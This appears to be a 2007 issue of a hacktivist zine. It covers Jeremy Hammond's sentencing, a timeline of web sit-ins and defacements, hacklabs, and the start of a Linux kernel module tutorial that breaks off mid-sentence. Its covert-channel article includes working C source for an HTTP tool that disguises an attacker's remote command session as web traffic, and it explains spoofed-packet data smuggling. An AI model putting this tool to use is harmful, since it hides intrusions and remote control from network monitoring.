( http://disrespectcopyrights.net/images/anarchosquat.jpg ) ################################################################################ ....ii;; ;;LLDDKKDD;; ..ttDDWW##########KK ;;KK######KKKK####WWii .... ..ffLLii;;iiWW##WW####tt ..iiffDDKKDDGGGGKKGGff;; GG##WW..tt##WWff ttGGWWWWWW############WWKKLL;; KK##GG DD##EE.. ..DDWWWW####WW####################ff ;;WW##ff iiWW##;; GGWWWWWW##GGLLiiWW####WWWWKKWWWW####WWttLL####;; iitt iiKKWWWWWWWW;;....WW####WWffttGGWWWWWWWWWWWW##WW ;;WWWWWWWWEEii tt####WWKK;; iiWWWW########GG ..LLWWWWWWDD;; LL########ff iiDD####WW##LL jjWWWWWWKK.. WW########WW.. ..GG######LL ..EE##WWDD:: ii##WWLL##WW##jj tt######KK ;;######tt ..LL##EE;;GG####GG.. GG########ii tt####WW.. ;;WW##jj KK##WWii KK##WW####GG LLWW##LL KKWWWW.. jjWW##GG ;;WWKKiiWW##KK tt####ff ..####DD ..LL##WW ttWWGG..WW##KK ffWW##LL ffWWWWtt..iiii;;LL##WW,,..DD##ii KK##DD ffWW##GG ..GGWWWWKKEEWWWWKKWW####tt,,KKWW.. KK##DD jj####ff ffWW####WWWW############KKKKWWKK WWWWGG tt####LL ..WW##WWjj.. ..;;iiGG####WW##tt ..WW##ff ;;WW##GG ii####DD;; ;;KK######ii ii####;; GG####ii DD####LL ..LL####WW ..GG##KK ;;KK##GG;;######.. WW##KK LLWWWWff ..GG##EEff##WWGG WW##WWiiWW##GG.. iiWW######KK;; tt####WW##WW.. ff######KKii ff######DDii KK########GGii.. ..ffEEWWWWWWii LL####EELLWW####KKLLiiEEKKWW##WW##GG;; DD####ff..EEWWWW####WW######WWEEGG.. ;;####KK,, ;;GGKKWWWWKKEELLtt ,,DD##KKii ffWWWWLL.. KK##KK jj####jj ff##KK.. fftt ################################################################################ __ __ .__ __ ______________ _______ _/ |_ _/ |_| |__ ____ ____ _____/ |_ / ___/ ____/ | \__ \\ __\ \ __\ | \_/ __ \ / \_/ __ \ __\ \___ < <_| | | // __ \| | | | | Y \ ___/ | | \ ___/| | /____ >__ |____/(____ /__| |__| |___| /\___ > |___| /\___ >__| \/ |__| \/ \/ \/ \/ \/ Electronic Civil Disobedience Journal Published by Hackbloc.org ################################################################################ anti-(C)opyright 2007 This zine is anti-copyright : you are encouraged to Reuse, Reword, and Reprint everything in this zine as you please. This includes: printing your own copies to distribute to friends and family, copying and pasting bits of text in your own works, mirroring electronic versions to websites and file sharing services, or anything else you could think of - without asking permission or apologizing! ################################################################################ [ TABLE OF DISCONTENTS ] NEWS / EVENTS * time line of virtual sit-in / electronic civil disobedience actions * free Jeremy Hammond! (done?) * hacklabs in the USA * remaining nine of the sagada eleven released from prison TALKING TECH * a small study on covert channels * getting started with Linux kernel modules * results of the 10.13-15.2006 'capture the flag' competition * review and analysis of darknets and other alternative Internets * the PE file format and it's dark side THEORY AND ACTION * capitalist monsters, RFID & internet tubes, an interview with Annalee Newitz * hacking freight trains: adventure from SF to NYC for HOPE 6 part 1 * intro to the free shit project a online free living directory * technologically enhanced protesting (T.E.P.) HACKER DEFENSE BULLETIN * boycott the EMI - mirror Sgt pet sounds - drop the lawsuit * rm all narcs before they narc on you! APPENDIX * HackThisSite collective organizing guide * Creditz ################################################################################ Free Jeremy Hammond! ################################################################################ "They are in there for us, we are out here for them." On December 11th 2006 Jeremy Hammond founder of HackThisSite.org and member of the HackBloc.org collective was sentenced to two years in federal prison. Hammond, an anarchist, was trying to strike a blow against right wing counter protest group, Protest Warrior." Hammond allegedly penetrated the servers stealing credit card numbers which he planned to use to donate money to various non-profit groups. Hammond was caught and arrested initially when a fellow hacker that he was working with, known as archaios, informed the system administrator of protest warrior that the action was taking place. In his ruling the judge sentenced Hammond to two years in federal prison. Additionaly, Hammond is not allowed to participate in HackThisSite.org, HackBloc.org, Hacktivist.net, or Chicago area anarchist group related activities. Flatline, from HackBloc.org was quoted as saying, "Whether or not you believe that Jeremy's tactics in this situation were right, the real problem here is that we are seeing a rise in the number of FBI informants in the anarchist and activist community. Over the past year eco/environmental activists have been facing a green scare similar to the red scare of the fifties, and now Jeremy being turned in by an 'anarchist hacker' who is now working for Protest Warrior, I mean, he's on the payroll. As anarchists, it should be easy to see that a blow to one of us is a blow to all of us. We need to have solidarity with each other and always be mindful of security. Jeremy is a part of our family and we will be there for him no matter what. We will do anything that we can to help him through this." Silent Shadow, another close friend and current web master of HackThisSite.org had the following to say, "I will neither confirm nor deny what actually happened, but I will say that he will be missed, and definitely welcome back at any time. I plan to personally keep the site up indefinitely, just for him." "He wants to continue working on the zine that we release every several months, including the one that is planned to be released later this month. He also wants to continue writing for it while doing time." UPDATE As of January 3rd, Jeremy has turned himself in, he now carries out his sentence. You can write to him at: Jeremy Hammond #18729-424 FCI Greenville PO Box 5000 Greenville Il 62246 ################################################################################ time line of virtual sit-in / electronic civil disobedience actions ################################################################################ * OCTOBER 29Th, 2006: In response to a call to action to remember Brad and all the comrades killed in the popular struggle to oust the bloody tyrant Ulises Ruiz, to show solidarity with the teachers and protesters of Oaxaca, and to attempt to interrupt the invasion of Oaxaca that Mexican President Vicente Fox is beginning, join this electronic blockade of the websites for all of the Mexican embassies and consulates in the United States and Canada. http://www.thing.net/~rdom/ecd/oaxaca2 Dozens of solidarity actions at Mexican consulates happened in Atlanta, Austin, Boston, Chicago, Houston, Kansas City, Los Angeles, New York City, Philadelphia, Portland, San Diego, San Francisco, San Jose, Seattle, Miami, Tuscon, and Washington DC. Oaxaca solidarity email list: http://lists.riseup.net/www/info/oaxaca * OCTOBER 3rd-4th, 2006: The borderlands Hacklab, Electronic Disturbance Theater and Rising Tide North America call for a virtual sit-in against the websites of the G8+5 and the Mexican government during the G8+5 meetings on October 3-4th, 2006 in Mexico. * MAY 1st, 2006: The Electronic Disturbance Theater and the borderlands Hacklab call for a virtual strike in solidarity with the May 1st General Strike / Walkout / Boycott in the US and actions for Freedom of Movement taking place all over Europe on May 1st, 2006. With this virtual strike, we will join the millions marching in the US, Mexico and Europe in slowing down the economy by slowing down the information systems. On this day without an immigrant, we will also have a day without Lou Dobbs, Semsenbrenner and the Minutemen in cyberspace. Thanks to all 77,454 People a around the world who participated in shouting No Illegal Borders in the May Day virtual sit-in! Minutemen S.O.S Forums go down on May 1st During May Day Virtual Sit-In! * MARCH 20th, 2006: BrigadaElektronica and others starts electronic civil disobedience campaign against web servers belonging to the Philippine National Police, the Malakanyang, the Office of the President, and the National College of the Philippines in solidarity with the Sagada 11, a group of food not bombs activists wrongfully detained and tortured as terrorists. The campaign included a combination of floodnet scripts, defacements, disruption of online communications, and more. So far, two of the Sagada 11 have been released. * MAY 27th-29th, 2005: SWARM the Minutemen invites people from all over the world who oppose racist violence to join the Electronic Disturbance Theater action on May 27th, 28th and 29th, 2005 to engage in a virtual sit-in on the Minutemen website during their "Unite to Fight" Summit. // SWARM the Minutemen Invita gente desde todo el mundo quien estan contra la violencia racista a una el accion de Electronic Disturbance Theatre en el 27, 28 y 29 de Mayo, 2005 para un "virtual sit-in" el el sitio de web de los MinuteMen durante sus conferencia de "Unate para Pelear". * MAY 17th 2005: An Internet company will force one of its Web site clients to stop encouraging harassment of the Minutemen project that cracks down on illegal immigrants along the Arizona border. The Scottsdale-based Go Daddy Group said the Swarmtheminuteman.com site, which has been on the Web for less than one week, could face being shut down unless it complies. http://www.tucsoncitizen.com/news/local/051705a4_minutemen * AUGUST 29th - SEPTEMBER 1st 2004: The Electronic Disturbance Theater and others staged a week of disruption during the 2004 Republican National Convention in New York City, conducting sit-ins against Republican web sites and flooding web sites and communication systems identified with conservative causes. This received mixed reviews from the hacktivist community. * OCTOBER 31st - NOVEMBER 2nd 2003: OPERATION DIGNA: Virtual sit-in action against the Mexican government and the Supreme Court of the state of chihuahua in support and solidarity with our daughters. 133,896 people participated in this action * DECEMBER 29, 1998: the Legions of the Underground (LoU) declared cyberwar on Iraq and China with the intention of disrupting and disabling internet infrastructure. On January 7, 1999, an international coalition of hackers (including Cult of the Dead Cow, 2600 's staff, Phrack's staff, L0pht, and the Chaos Computer Club) issued a joint statement ([5]) condemning the LoU's declaration of war. The LoU responded by withdrawing its declaration. * 1998: the modification of Indonesian web sites with appeals to "Free East Timor" by Portuguese hackers. * 1998: the Electronic Disturbance Theater conducted "virtual sit-ins" on the Web sites of the Pentagon and the Mexican government to bring the world's attention to the plight of Indian rights in the Mexican state of Chiapas. * 1995: One of the earliest documented hacktivist events was the "Strano Network sit-in," a strike action directed against French government computers in 1995. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ################################################################################ HACKLABS IN THE USA ################################################################################ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! from hacklabs.org : "For years, months, days, we networks and communities of individuals have been exchanging knowledge, designing worlds, experimenting with gizmos and devices. We are the expression of a thousand thoughts, we are migrants across the City and the Net; we are searching for a place where our commonalities and practices can open up space-time discontinuities. We want to hack reality, and we need a lab to reassemble its basic elements. In a metropolis scared by unreal securities and too real fears, we yearn to give birth to a site of full of images made flesh, of bytes resurrecting metal. Our collective mind is replete with digital/analog technology, info-communication, knowledge-sharing, meme-spreading, participation-catalysis, and much much more. The four cardinal points are no longer sufficient coordinates. As Mars is closer to Earth than ever in history, there is no better time for a new reticular constellation, for a new geometry of relations that can freely recompile low-entropy bio ware, stunning and getting stunned by vivid special effects and lively affects." Reload, Hacklab Milano, Sept 14 2003 The goals of hacklabs, or community technology spaces, are to teach people about and help develop free technology and independent media. Hacklabs traditionally help build and repair computers from used or dumpstered parts, use open source software, host presentations, workshops, and classes, and provide technology and space to community activist groups. Hacklabs are often held in squatted buildings, or have squatter friendly tendencies. In the US, there are often hacklabs in infoshops or other community activist spaces such as the Long Haul in Berkeley or ABC No Rio in NYC. Common other projects that spring out of hacklabs or other community activist spaces include: * bike workshops: build and repair bikes out of spare / dumpstered parts, distributing community bikes for critical mass, bike modifications / hacks (tall bikes, choppers, bike carts, etc) * food not bombs, free markets, dumpster diving collectives: food drop offs/pickups, collaborative community meals, public food not bombs servings, cooking food for protests/actions, etc * independent media: publishing zines, newsletters, pamphlets, and other propaganda. infoshops, mail order distribution, community libraries. digital video projects, pirate radio, indymedia centers. The hacklabs movement along with other linked social struggles, is trying to create a world without borders where people and data can flow freely. Although the US has a lot to catch up with politicizing the hacker movement and setting up hacklabs, more and more people are starting to recognize how privatized/government controlled technology threatens our lives, and how creative and emancipatory use of free technology can help support progressive activist projects, international solidarity, and build a free Internet and a free society. ######### dai5ychain local network @ the flowershop in pilsen, Chicago ######### Dai5ychain is open to the public from 11am-6pm, Monday through Friday. 2159 W 21st Pl, Chicago IL 60608 Dai5ychain is a public-access computer lab and events platform located in pilsen, Chicago, in a former flower shop. the Dai5chain project operates as a platform for new media performance and screening events devised and programmed in response to a unique network architecture. it shares a building with the Busker project initiated and programmed by tamas kemenczy and nicholas o'brien. The Daiscyhain project is developed and maintained by jake elliott, lynn hurley, tamas kemenczy and others. dai5ychain links: http://chicagolug.org/lists/listinfo/chicago-hacktavism http://www.dai5ychain.net http://hackmeetingwiki.dai5ychain.net Dai5ychain has been host to regular hacker activist gatherings, featuring workshops and presentations on: tor / tor hidden services, circuit bending, perl programming, the dyne:bolic livecd, presenting evidence / geek aesthetic, hacking politics and the politics of hacking, make your own lock picks, hacker "capture the flag" challenges, hacking consumer music players, the Pirate Party and anti-copyright activism, aerial kite photography, community wifi networking in Chicago, and more. #################### sdhacklabs @ the voz alta in san diego #################### At voz alta on the 3rd wed of the month! 1544 broadway in downtown san diego from 8-10pm The Hacklab is a diy space for HACKERS, ARTISTS, ACTIVISTS and MEDIA MAKERS to get together, share, teach and learn. It's much like http://dorkbot.org or http://barcamp.org , but with a focus on making technology accessible for people traditionally excluded from techno culture like women and people of color. Want to do a workshop? Have a new video you want to show or an idea for collaboration? Have a tech question? Email sdhacklab [at] lists d0t riseup d0t net. Voz Alta is located at 1544 Broadway, on the corner of 16th and Broadway in downtown San Diego. It's next door to Landlord Jim's bar and is one block south of SD City College. Learn more about the borderlands Hacklab: http://bang.calit2.net/sdhacklab/ ######### tech user group @ the people's free space in Portland, Maine ######### The Technology User Group is an all-volunteer service group dedicated to free computing and technology resources for all. Our goal is to foster an environment where no member of the community is denied the computer resources or the technology he or she seeks. By taking the initiative to film document and record the world we live in we hope to take back the media from the corporations and big business and put it in the hands of the people. T.U.G. Initiative Group Meetings are held on the second Wednesday of every month at 7pm 144 Cumberland Avenue (The People's Free Space). more info: http://www.techusergroup.org/ http://www.peoplesfreespace.org/ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ################################################################################ remaining nine of the sagada eleven released from prison By Sally ################################################################################ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! On December 21, 2006, the remaining 9 of the Sagada 11 were released from Benguet prison in the Philippines. The Filipino punkers were arrested on February 14, 2006, while hitch hiking to a Food Not Bombs gathering in the Sagada Mountain Province. They were charged with being involved in a Maoist armed raid that involved arson and multiple homicide. The charges were dropped due to lack of evidence, underground sources indicate that there might have been a settlement out of court. The prisoners were not compensated except with plane tickets back to Manila. Hacktivist around the globe were contacted last February to help get the word out about the wrongful imprisonment and torture of the fellow Filipino punkers and activist. The Filipino government does not allow for public protest so it was determined that one of the many ways to get the word out to the masses across the globe was through online actions. Specifically, key governmental and military websites were taken down and replaced with pleas to help the prisoners. In addition, an online petition to the government was utilized with more than 2000 signatures from around the world. Concurrently, there were sits-ins and demonstrations at the Philippines embassies and consulates in Tokyo, Japan; Berlin,Germany; Barcelona, Spain, Brighton, U.K; Wellington, New Zealand. On May 30, 2006, 2 of the 9 Sagada 11 members were released based on a new law regarding the imprisonment of minors (http://bulatlat.com/news/6-17/6-17-freed.htm). This new law, Republic Act No. 9344, the Juvenile Justice and Welfare Act of 2006, took effect on May 22, and exempts minors from criminal liability. Hackthiszine asked for an interview of one of the freed prisoners, this involved sending questions in English and having them translated to Tagalog and back. The interview was published in our last zine (summer 2006) and is on the web at http://kitaan.blogspot.com/2006/07/interview-with-ann.html. The amazing work of all the hacktivist and activist across the globe sent ripple effects to the Philippines. It let them know that they cannot brutalize their own people without the world knowing. Friends of the Sagada prisoners mobilized into action and it made a difference. Soon after laws were passed and prisoners were released. Unfortunately, this does not erase the time lost and the torture endured by the prisoners. Let this to motivate more of us into action to help save people around the world from human rights violations. For more back history on the plight of the Sagada 11 see: HackThisZine #4 - Ammo for the info-warrior manila.indymedia.org/?action=search&words=sagada newsinfo.inquirer.net/inquirerheadlines/regions/view_article.php?article_id=39501 manila-infoshop.mahost.org/index.php?option=com_content&task=view&id=113&Itemid=2 a-manila.org/mod/columns/index.php !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ################################################################################ a small study on covert channels by nomenumbra/[0x00SEC] ################################################################################ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [0x00] ToC [0x00]ToC [0x01]Introduction [0x02]Abstract [0x03]Protocol-level covert channels [0x04]TCP/IP-level covert channels [0x05]Greets and shouts [0x01] Introduction In this time of wire-tapping, paranoia and witch-hunts, every sane person would like a bit of privacy. Some people will say "what is there to hide?", to this i'd like to reply "what is there to see if there's nothing to hide?". Do you trust the people spying on you? Tapping your phone, and monitoring your mail and browsing behavior? Do you trust a government that dozen't trust you? Well I don't, so with these words I give you this article, now read it ff. [0x02] Abstract Well, usually most papers on this subject will bore you to death with the so-called prisoner's problem, I however .... will do exactly the same CD The prisoner's problem involves two inmates, let us say Alex and Bob (THE CREATIVITY!), who need to coordinate their escape attempt in notes to each other. The catch however is in the fact that the warden monitors their messages, and upon suspicious content will put them in solitary confinement. This gives rise to the following criteria for covert channels: [0]Plausibility (merge with legitimate traffic) [1]Open usage (to participants) and: (optionally) [2]Message robustness (survive loss of data) Point [0] is especially important, since traffic that is just encrypted can be singled out easily (using eye's Radar tool for example), so we'll have to merge with legitimate traffic. An example of a covert channel could be the following sentence: As you might know, Nobody in this country, And nobody outside the Republican party, may or Could, in any way, Hope for circumstances which Indicate the fall of Self righteous capitalism and blatant Materialism. To make things more clear i've capitalized the characters that matter. I take the first character of the first word, skip three, and take the first letter again and repeat this process, the word ANARCHISM is formed. This is of course a simple trick, but it illustrates the idea of covert channels pretty well. When looking at covert channels, we can distinguish two major forms: [0] Protocol-level covert channels [1] TCP/IP-level covert channels Protocol-level covert channels abuse properties of protocols while adhering to the RFC standards, whilst TCP/IP-level covert channels abuse TCP/IP structures. [0x03] Protocol-level covert channels Ok, the simplest example possible in this field is a DNS based covert channel. It can operate exactly like the simplistic method proposed in [0x02], take the following DNS queries for example: www.roadkillforhire.com www.enigmaticvisions.org www.supercheapdeals.com www.imdb.com www.stanford.edu www.trickydickhicksachick.net Taking the first character of the domain name, would read "resist". This method is obviously fairly naive though, so let's move on. So where would we hide our data then you'd ask? Well, the first possibility is engineering a more obscure method, which is of course quite possible, however another, and better, possibility lies in using a more versatile and constantly used protocol allowing for better traffic-blending. To illustrate this we'll use the HTTP protocol. The HTTP protocol has a myriad of places to hide it's data, including but not limited to: [0] HTTP GET file request [1] HTTP referrer [2] HTTP cookie [3] HTTP content data [4] HTTP authentication So let us design a HTTP covert channel. Note that this is kind of a "mirror-scenario", where usually a client initiates a connection with a listening server, we can't disguise our covert channel, assuming it the data sending site resides in a hostile environment, as a HTTP server, since it *WOULD* ring bells if incoming HTTP traffic is spotted going to the ftp-only file server XD. So we'd have the following situation: HTTP_COVERT_CLIENT [0]Reside in passive mode HTTP_COVERT_SERVER [1]Connect to client and send encoded handshake HTTP_COVERT_CLIENT [2]Verify handshake (if not a handshake, drop connection) and send acknowledgment HTTP_COVERT_SERVER [3]Verify acknowledgment (if not an ack. behave like a normal HTTPd by responding with a 404 error to everything XD) and initiate covert session. (start sending data) HTTP_COVERT_CLIENT [4]Upon receiving data, send response back in covert form Note that in this example the server is the client and the client is the server (from the attacker's point of view). Step [0], residing in passive mode, can take many forms. The most obvious being listening on port 80 (which the "server" should do too, but only return 404/403 errors) but other methods are possible too, like behaving like a non-listening bindshell. Which would involve setting up a sniffer for incoming local data (which doesn't require root/administrator privs) and initiating a connection upon spotting a magic pattern (a certain arrangement of TCP flags/IP headers of a certain login/pass combo on the ftp server running on the same host). Now, on the notion of where to hide our data. In my implementation I chose to let the client (being the responder, the server) hide it's data in a fake cookie or fake params, these being the most opaque vectors from our list. The data will be encapsulated in a fake GET request to a fake (non-existent PHP file), for example: GET /lol.php HTTP/1.0 Cookie: lol=ENCODED_DATA or: GET /lol.php?val=ENCODED_DATA HTTP/1.0 The server (the initiating side) will respond like a HTTPd would, disguising it's data as the output of the obscure php script in a plausible way, for example: HTTP/1.1 200 OK Date: Tue, 12 Dec 2006 18:17:58 GMT Server: Apache/2.2.3 (Win32) DAV/2 mod_ssl/2.2.3 OpenSSL/0.9.8d mod_autoindex_color PHP/5.1.6 X-Powered-By: PHP/5.1.6 Content-Length: Connection: close Content-Type: text/html; charset=iso-8859-1 XZ script! DATA HERE Where the random string would be an encoded/encrypted command/piece of secret data. Now, the following implementation is just a simple app (for the win32 platform) to show you how things can be done. Of course, there are some things that need to be added, such as a small encryption plugin (which would be nothing more than adding the aforementioned handshake with a key to the app, which is fairly trivial) and a bit more dynamic content generation. Note that communication functionality is extremely limited and basic, the initiating party (attacker) types something, then waits until the receiving party responds, etc,etc. This makes it suited for TCP bound shells for example and other remote control applications that don't want to jump out in traffic. #include #include #include #include int Translate(char a,char b) { char c[2]; memset(c,0,2); sprintf(c,"%c%c",a,b); return strtol(c,NULL,16); } // urlencode function char* UrlEncode(char* Input) { char* Encoded = (char*)malloc(strlen(Input) * 2); int i; memset(Encoded,0x00,strlen(Input) * 2); for(i = 0; i < strlen(Input); i++) { if ( ((Input[i] > 47) && (Input[i] < 58)) || ((Input[i] > 64) && (Input[i] < 91)) || ((Input[i] > 96) && (Input[i] < 123)) ) sprintf(Encoded,"%s%c",Encoded,Input[i]); else sprintf(Encoded,"%s%c%02x",Encoded,'%',Input[i]); } return Encoded; } // urldecode function char* UrlDecode(char* Input) { char* Decoded = (char*)malloc(strlen(Input) * 2); int i; memset(Decoded,0x00,strlen(Input) * 2); for(i = 0; i < strlen(Input); i++) { if(Input[i] == '%') { sprintf(Decoded,"%s%c",Decoded,Translate(Input[i+1],Input[i+2])); i += 2; } else sprintf(Decoded,"%s%c",Decoded,Input[i]); } return Decoded; } int Connect2Target(char *ip,int RemotePort) { struct sockaddr_in target; int s = socket(AF_INET,SOCK_STREAM,0); target.sin_family = AF_INET; target.sin_port = htons (RemotePort); target.sin_addr.s_addr = inet_addr(ip); if (connect(s, (SOCKADDR*)&target, sizeof(target)) == SOCKET_ERROR) // if can't connect... { WSACleanup (); return -1; } return s; } int PassiveWait(int ListenPort) { int s2 = -1; struct sockaddr addr2; int s = socket(AF_INET,SOCK_STREAM,0); if(s == INVALID_SOCKET) return -1; struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons (ListenPort); addr.sin_addr.s_addr = htonl (INADDR_ANY); if (bind(s, (LPSOCKADDR)&addr, sizeof(addr)) == SOCKET_ERROR) // bind the socket return -1; if (listen(s,3)==SOCKET_ERROR) // listen return -1; s2 = accept (s, &addr2, 0); // accept connections return s2; } int SendCovertClientData(int s,char* dat) { char* cgi = (char*)malloc(strlen(dat)*2); sprintf(cgi,"/xz.php?zf=%s",UrlEncode(dat)); // todo: generate dynamic script // name char* data = (char*)malloc(strlen(cgi)+200); sprintf(data,"GET %s HTTP/1.1\nHost: localhost\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1\n\r\n",cgi); int x = send(s,data,strlen(data),0); free(cgi); free(data); return x; } int SendCovertServerData(int s,char* dat) { /* TODO: [*] format time better, like Day(3 char), Day(2 digit) Month Year Hour:Min:Sec GMT [*] generate dynamic title in html */ time_t tp; time(&tp); char* data = (char*)malloc(strlen(dat)+sizeof(strlen(dat)+168)+300); // TODO: obscure data! sprintf(data,"HTTP/1.1 200 OK\nDate: %s GMT\nServer: Apache/2.2.3 (Win32) DAV/2 PHP/5.1.6\nX-Powered-By: PHP/5.1.6\nContent-Length: %d\nConnection: close\nContent-Type: text/html; charset=iso-8859-1\n\r\nXZ script!%s\n\r\n",asctime(gmtime(&tp)),strlen(dat)+168,dat); int x = send(s,data,strlen(data),0); free(data); return x; } int ExtractDataFromServer(char* dat) { char* pos = strstr(dat,""); if(!pos) { printf("[-]Couldn't extract data...\n"); return -1; } pos += 21; char* pos2 = strstr(dat,"\n\r\n"); if(!pos2) { printf("[-]Couldn't extract data...\n"); return -1; } pos[pos2 - pos] = 0x00; printf("=>%s\n",pos); } int ExtractDataFromClient(char* dat) { char* pos = strstr(dat,"/xz.php?zf="); if(!pos) { printf("[-]Couldn't extract data...\n"); return -1; } pos += 11; char* pos2 = strstr(dat," HTTP/1.1"); if(!pos2) { printf("[-]Couldn't extract data...\n"); return -1; } pos[pos2 - pos] = 0x00; printf("=>%s\n",UrlDecode(pos)); } void Usage() { printf("..::Mimic Beta::..\n [Basic HTTP covert channel]\nBy Nomenumbra/[0x00SEC]\nUsage: mimic \n"); exit(-1); } int main(int argc, char *argv[]) { if(argc < 3) Usage(); int server = atoi(argv[1]); if ((server) && (argc < 4)) Usage(); int port = atoi(argv[2]); int s = -1; char buffer[4096]; WSADATA wsadata; WSAStartup(MAKEWORD(2,0),&wsadata); if(server) // server (attacker controlled) s = Connect2Target(argv[3],port); else s = PassiveWait(port); while(s) { memset(buffer,0,4096); if(server) { printf("usr@covert-http~#: "); fgets(buffer,4096,stdin); if(strncmp(buffer,".exitcovertchannel",17) == 0) { closesocket(s); WSACleanup(); exit(0); } SendCovertServerData(s,buffer); memset(buffer,0,4096); if(recv(s,buffer,4096,0)) { ExtractDataFromClient(buffer); } } else { if(recv(s,buffer,4096,0)) { ExtractDataFromServer(buffer); memset(buffer,0,4096); fgets(buffer,4096,stdin); buffer[strlen(buffer)-1] = 0x00; // cut carriage return if(strncmp(buffer,".exitcovertchannel",17) == 0) { closesocket(s); WSACleanup(); exit(0); } SendCovertClientData(s,buffer); } } } closesocket(s); WSACleanup(); return 0; } Of course this implementation is far from perfect and could be improved in many ways. First of course what i've noted with TODO:'s and secondly it could be implemented as HTTPS, which would provide a decent layer of encryption as well, without being singled out as anomalous. [0x04] TCP/IP-level covert channels Another great place to hide your data is a little deeper, inside the TCP/IP header. By hiding it here you will bypass most content filters and also a large am mount of monitoring systems. First, let us take a look at the TCP and IP headers. The IP header: 0 4 8 16 19 24 32 ------------------------------------------------------------------------ | VERS | HLEN | Service Type | Total Length | ------------------------------------------------------------------------ | Identification | Flags | Fragment Offset | ------------------------------------------------------------------------ | Source IP Address | ------------------------------------------------------------------------ | Destination IP Address | ------------------------------------------------------------------------ | IP Options | Padding | ------------------------------------------------------------------------ | Data | ------------------------------------------------------------------------ The TCP header: 0 4 8 16 19 24 32 ------------------------------------------------------------------------- | Source Port | Destination Port | ------------------------------------------------------------------------- | Sequence Number | ------------------------------------------------------------------------- | Acknowledgment Number | ------------------------------------------------------------------------- | HLEN | Reserved | Code Bits | Window | ------------------------------------------------------------------------- | Checksum | Urgent Pointer | ------------------------------------------------------------------------- | Options | Padding | ------------------------------------------------------------------------- | Data | ------------------------------------------------------------------------- As we can see, there are several fields that don't really matter in which we could hide our data: [0]The IP-header identification field [1]The IP-header source address* [2]The TCP-header initial sequence number [3]The TCP-header acknowledgment number [4]The TCP-header urgent pointer** Now, there are several things we need to keep in mind. For example, using [1] will require a slight adaption of values, for example, to hide some bytes, we could do the following: Take ,for example, the network-byte order representation of 127.0.0.1: 0x0100007f, we could use this as the base source address and add our bytes. So 0x54534554 (84.69.83.84) would decode to TEST. Although this approach is fairly naive, it gives you a general idea of how stuff like this can be done. Do note that all values need to be between 0x00 and 0xFF Also note that in order to use [4], we'd need to set the URG flag, else a used URG pointer would be a bit fucked up and probably ring bells all over the place XD. In the cases of [0],[2] and [3], we can freely hax around with a full DWORD of space ;) A nice trick to employ in combination with [4], is to spoof the source address of the packet as the b0x we want to send our data to, and the destination addr as the b0x we want to bounce our packet off. Take the following setup for example: [EVIL_HOST] [WORKSTATION] [TARGET_B0X] 10.0.0.1 10.0.0.3 10.0.0.6 So if EVIL_HOST would want to send a packet to TARGET_B0X, he could create a packet with 10.0.0.6 as the source address and 10.0.0.3 as the destination address, thereby effectively sending the packet to WORKSTATION, which (upon seeing the ACK flag) send it's data back to TARGET_B0X (believing it was the originator). The data could be hidden in the sequence number for example, and the original packet from EVIL_HOST to WORKSTATION could contain it's data encoded in the sequence number. Although implementing this is fairly simple (just dividing your data into separate pieces so they fit in our covert channel (when using only initial sequence number for example, we have one DWORD of data, which is 4 bytes, so you should parse them into this DWORD)), it does require knowledge raw sockets (of course). If you're not familiar with raw sockets, read Mixter's (mixter.void.ru) article on raw socket coding. [0x05] Greets and shouts Greets and shouts go to Nullsec, the whole .aware/xzziroz community, The HackThisSite collective, RRLF, The entire SmashTheStack crew, PullThePlug , BinaryShadow Organization, #dutch crew, Vx.netlux folks/Undernet VX crew, blacksecurity and all "true" hackers out there. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ################################################################################ getting started with linux kernel modules by evoltech [hb/sf] ################################################################################ !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Introduction: I have wanted to get a solid understanding of the Linux kernel and be able to contribute to its development for a number of years now. It wasn't until recently that I had enough of the basics to be able to comprehend more then a paragraph in any of the security LKM text files of phrack or other publications that discuss Linux kernel. In this article I describe the requirements to get started with kernel development, the resources available to the beginning kernel developer, and a overview of the methods used by most security LKM's. Requirements: To get started with kernel development you will need to be able to write in C, understand the basics of Linux systems administration, and have a lot of time on your hands. I ran into a member of the CDC at the SF 2600 meeting who was working on impressive LKM and asked him how he got started. He told me that he had spent the last 6 months sitting in the CDC house smoking weed and writing code. I am not advocating smoking weed here, I am just pointing out the amount of time and focus that it takes to make any serious progress with something as terse as kernel development. As far as systems administration skills go, you should understand the basics of how to operate a Linux system, compile a kernel by hand, and be able to use kernel modules. In the C department, it will really help to have some experience working on large modular code bases like apache or proftpd. You should also be generally familiar with the complexity of gcc and the steps involved in compiling and linking a application. Resources: The two most valuable resources I found for kernel development were xen [5] and cscope [6]. Xen is virtualization software that allows you to run a instance of Linux on top of the current system. It is like virtually installing a whole other computer inside your computer. As you are writing kernel modules you will find that your mistakes may completely lock your running instance and or completely trash your file system. By developing on a virtual instance you can significantly increase system stability and decrease reboot time when locking up the virtual machine. While tracing through kernel code you may end up cursing the time it takes to find certain symbols in the code... cscope to the rescue. Cscope will parse your code base and store all the symbols in a database creating a convenient resource for quickly navigating through the kernel source. To build a cscope database of the Linux kernel and jump to the file that defines the sys_call_table symbol you should run the following commands from the kernel source directory: cscope -R vim -t sys_call_table The kernel debugging utilities that I began to look into were gdb [9], kdb [7] and kgdb [8]. Kdb and kgdb both enable the full suite of debugging capabilities available to gdb by patching 